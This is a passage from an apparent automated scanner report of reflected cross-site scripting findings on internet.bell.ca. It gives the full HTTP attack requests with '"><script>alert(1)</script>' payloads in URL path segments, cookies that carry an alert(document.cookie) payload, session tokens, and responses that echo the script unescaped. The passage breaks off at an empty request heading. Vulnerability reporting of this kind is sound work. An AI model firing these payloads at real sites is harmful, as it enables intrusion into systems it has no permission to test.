The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f4b6"><script>alert(1)</script>e02feaa3556 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js8f4b6"><script>alert(1)</script>e02feaa3556/flash_quickfix.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:09 GMT
Connection: close
Set-Cookie: SMSESSION=SVixTIQ1GY/vpTRO2IICgRcY7UlglqsEguhNu9LIWa501Ow39t1RHdl9ueToGdUbujgsW5qV9bnZxl4Os8hc61H1AdYxXkr8PW3cwPyoj9g9Pd1Z6Ag/noDdpzxUv2HpQXYBatqVUHUg2aJBC5I00Goj1+dAmwnCxZTxf5EyfyeJ09qwesMZn6sxZ8ClY7XKGkdqpMy+iDrkrmSd4cB2aC02baHyBAP1msa/y472uaZuioRbi/bdvF1n1hfJQ5pMQMiW8aGhhouxEnuxvnpkRrGEUwiCGGm9H5qiUSZN24IxvFOlBjenvg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:10 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js8f4b6"><script>alert(1)</script>e02feaa3556/flash_quickfix.js" />
...[SNIP]...

2.31. http://internet.bell.ca/js/flash_quickfix.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/flash_quickfix.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9fdd"><script>alert(1)</script>229d7054fb1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/flash_quickfix.jsc9fdd"><script>alert(1)</script>229d7054fb1 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:22 GMT
Connection: close
Set-Cookie: SMSESSION=9PY8Mr9h36IGlitt6FBl7pIAa9Q5C+K3DcUwEMdv/JRfCyaICBWfoz4zc12f9XjyRjFAvYuPyKFARB+0JNvzrC60DK20+4E5heMH1B7v8mUlXIwr/smNSELtwA997Iv/NoNJQFY4aT7B5+PGx05wKIanyM1a4401m7VvOGM+8EyvmxNiMP2CEIXjrueD0KkmVugQvtxSdYQbRRBXKgFwbX6Btckd1FPowwcqJjky2CmcU2/Q+Eu0n2jkjzL4f/debzhKoBOFXRaUMBLTB71oWm+k2kYRsrFJYwK829vXcCr2jt28I3FnGQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:22 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:22 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:22 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:22 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:22 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:22 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:22 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:22 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:22 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:22 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ut type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/flash_quickfix.jsc9fdd"><script>alert(1)</script>229d7054fb1" />
...[SNIP]...

2.32. http://internet.bell.ca/js/formValidation.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/formValidation.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31a69"><script>alert(1)</script>4b020bf87be was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js31a69"><script>alert(1)</script>4b020bf87be/formValidation.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:24:51 GMT
Connection: close
Set-Cookie: SMSESSION=KUcqNcHw2YV1MrloPH830ugeShOqAdsTPUoffXGlWnbBjJWfYJqIm5GL6Ss/TrqIcdIqBxiU7bYXY/N8RdARLYsW/fn0hF8GdHxIpbPfmXdvpXEqb+9EB0PjuqLaEzKcwWiilKgO3rmS5WEEzjxeZScPqD21jiH+WdKdO0czA46JtdiPB6hslZxkH/g51k3f0JOKFHk8eYc99aAVqS84+Hsmmf0WrRpeCMIxo2OsrDWusr3J9J9LS/uRtZ1IDs64qEWaT9KzzJbyfOoV9LW/BqnGM+8nS+0l8wZK51E90HOYJVE8BOxjcg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:24:52 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:24:52 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:24:52 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:24:52 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:24:52 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:24:52 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:24:52 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:24:52 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:24:52 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:24:52 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js31a69"><script>alert(1)</script>4b020bf87be/formValidation.js" />
...[SNIP]...

2.33. http://internet.bell.ca/js/formValidation.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/formValidation.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e6ca"><script>alert(1)</script>b50e7ba0877 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

